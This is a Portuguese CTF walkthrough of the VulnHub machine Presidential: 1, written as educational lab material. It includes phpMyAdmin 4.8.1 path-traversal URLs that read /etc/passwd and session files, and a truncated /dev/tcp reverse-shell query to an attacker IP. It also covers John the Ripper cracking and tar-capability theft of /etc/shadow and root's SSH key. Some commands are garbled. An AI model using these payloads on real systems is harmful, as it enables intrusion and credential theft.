> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/vulnhub/linux-vulnhub/presidential-1-vulnhub-writeup.md).
# Relato da VulnHub Presidential: 1
{% embed url="" %}
{% hint style="warning" %}
Habilidades:
* Enumeração Web
* Vazamento de Informações
* Hospedagem virtual
* Enumeração de subdomínios
* Abusando do phpMyAdmin - LFI para RCE (abusando de sessões PHP ID)
* Quebra de hashes (pivotamento de usuário)
* Abusando de capacidades (tar cap\_dac\_read\_search+ep) (Escalada de privilégios)
{% endhint %}
## Reconhecimento
**Configuração do ambiente de trabalho:**
Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.
**Descoberta do endereço IP com arp-scan:**
Usando o comando arp-scan para detectar o endereço IP da máquina:
```bash
arp-scan -I ens33 --localnet --ignoredups
```
**Descoberta de portas abertas com Nmap:**/ Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:
```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.71.145 -oG allPorts
```
**Varredura de versão das portas com Nmap:**/ Use o Nmap para escanear as versões dos serviços e salvar a saída no arquivo "targeted":
```bash
nmap -sCV -p80,2082 192.168.71.145 -oN targeted
```
#### Varredura do servidor com Wappalyzer:
Usando o Wappalyzer para determinar que o servidor está usando Apache e a linguagem de programação PHP.
**Identifique a versão do alvo com WhatWeb:**/ Usando o WhatWeb para escanear o site e identificar a versão da máquina (Ubuntu) e do Apache:
**Configuração de hospedagem virtual para busca de subdomínios:**
Antes de começar a buscar subdomínios, configure a hospedagem virtual do alvo para direcionar melhor as informações que você deseja.
**Identificação de possíveis usuários no site:**
Explore o site para identificar possíveis usuários. Neste caso, dois usuários, Kelly Bowen e Hugh Morgan, são identificados como pontos de interesse.
**Buscar diretórios com Gobuster**
Use o Gobuster com uma lista de diretórios para encontrar caminhos de acesso ocultos. Identifique três diretórios, um dos quais, "cgi-bin", apresenta um risco potencial de vulnerabilidade a [shellshock](/pt-br/web-vulnerabilities/shellshock-attack.md) ataque.
```bash
gobuster dir -u http://192.168.71.145/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 --add-slash
```
**Buscar arquivos com extensão PHP**
Realize uma busca específica por arquivos com a extensão PHP usando o Gobuster para encontrar arquivos relevantes. Descubra um arquivo "config.php" que, quando interpretado, não revela nenhuma informação visível.
```bash
gobuster dir -u http://192.168.71.145/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 --add-slash -x php
```
**Buscar arquivos de backup (extensão bak)**
Continue a busca mirando especificamente arquivos de backup com a extensão ".bak". Encontre um arquivo relevante que possa conter informações sensíveis.
**Obter credenciais do banco de dados:**
Use as informações extraídas do arquivo de backup ".bak" para obter as credenciais do banco de dados.
**Tentativa de conexão SSH:**
Tente se conectar usando as credenciais obtidas via SSH. Falhe na tentativa por causa da ausência de uma chave privada.
**Verificar a validade do usuário "votebox" no SSH**
Devido à versão antiga do SSH, verifique se o usuário "votebox" é um usuário válido do sistema.
**Subdomínios descobertos com Gobuster**
Use o Gobuster com uma lista de subdomínios para explorar possíveis subdomínios. No entanto, essa tentativa não produz resultados positivos.
```bash
gobuster vhost -u http://votenow.local/ -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 20 | grep -v "400"
```
**Busca alternativa de subdomínios com um dicionário diferente:**
Repita a busca por subdomínios usando um dicionário de diretórios diferente.
#### Identifique-se a partir do arquivo ".bak" descoberto anteriormente.
**Identificação da vulnerabilidade NCE no phpMyAdmin**
Após descobrir que a versão do phpMyAdmin é vulnerável (4.8.1), use a ferramenta SearchExploit para encontrar exploits correspondentes e identificar uma [RCE ](/pt-br/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-to-remote-code-execution-lfi-to-rce.md)vulnerabilidade de (Execução Remota de Código).
## Vulnerabilidade RCE:
Use a vulnerabilidade NCE injetando o seguinte script na URL para ler o arquivo "/etc/passwd":
```url
index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
```
**Tentativa de recuperação da chave privada SSH do usuário admin**
Tente acessar a chave privada SSH do usuário "admin" usando a seguinte URL, mas encontre um erro:
```url
index.php?target=db_sql.php%253f/../../../../../../../../home/admin/.ssh/id_rsa
```
**Exploração das portas internas da rede privada**
Use a seguinte URL para listar as portas internas do servidor a partir do arquivo /proc/net/tcp:
```url
index.php?target=db_sql.php%253f/../../../../../../../../proc/net/tcp
```
Salve essas portas em um arquivo de dados para análise posterior.
```bash
for port in $(cat data | awk '{print $2}' | awk '{print $2}' FS=":" | sort -u); do echo "[+] Porta $port -> $((0x$port))"; done
```
**Identificação do diretório que contém sessões do phpMyAdmin**
Explorando o script, identifique um diretório que contenha sessões do phpMyAdmin:
```url
/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_{}
```
## Vulnerabilidade do phpMyAdmin (Injeção de Comando)
**Usando o cookie de sessão do phpMyAdmin para uma injeção de comando**
```url
index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_38f8d56u6em5usl5fd9s9v3pe66qh7v1
```
#### Este arquivo interpreta todos os comandos de consulta.
```sql
SELECT 'testing';
```
**Injeção de comando SQL para obter uma** [**Shell reverso**](https://www.revshells.com/)**:**
```sql
select '& /dev/tcp/192.168.71.128/443 0>&1"); ?>';
```
/*/* O acesso à máquina finalmente foi obtido :/*/*
#### Estabilização do terminal para escalada de privilégios:
```bash
script /dev/null -c bash
# Ctrl+Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```
#### **Restrição de acesso a /home/admin e descoberta de uma senha com hash:**
Veja a restrição de acesso a /home/admin, que exige acesso autenticado. No phpMyAdmin, observe o usuário "admin" com uma senha com hash, indicando a necessidade de descriptografar a senha para acessar o sistema de arquivos.
## Quebra de senha por força bruta:
Crie um arquivo "hash" contendo a senha com hash e use o John the Ripper para tentar quebrá-la usando uma lista de senhas (rockyou.txt neste exemplo):
```bash
john -w:/usr/share/wordlists/rockyou.txt hash
```
**Senha exibida**
```bash
john --show hash
```
#### **Mude para o `admin` Usuário**
Use a senha descriptografada do usuário admin e conecte-se ao sistema como administrador
## Escalada de privilégios (Capacidades)
```bash
getcap -r / 2>/dev/null
```
Use o `getcap` comando para explorar as capacidades do sistema. Identifique uma capacidade para listar todos os arquivos no sistema.
/*/* Captura do arquivo /etc/shadow com tar/*/*
Crie uma pasta no diretório /tmp e inclua o arquivo /etc/shadow com o seguinte comando:
```bash
tarS -cvf shadow.tar /etc/shadow
```
Descompacte o arquivo no diretório /tmp. Como criador, modifique as permissões para visualizar o conteúdo de /etc/shadow.
```bash
tar -xvf /tmp/shadow.tar -C /tmp/
chmod 644 /tmp/etc/shadow
```
**Captura da chave privada .ssh com tar**
Capture a chave privada .ssh do usuário root com o seguinte comando:
```bash
tarS -cvf id_rsa.tar /root/.ssh/id_rsa
```
**Conexão SSH com a chave privada capturada:**
Use a chave privada capturada para estabelecer uma conexão SSH com o usuário root na máquina local.
```bash
ssh -i id_rsa root@localhost -p 2082
```
**Flag obtida :)**
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/vulnhub/linux-vulnhub/presidential-1-vulnhub-writeup.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.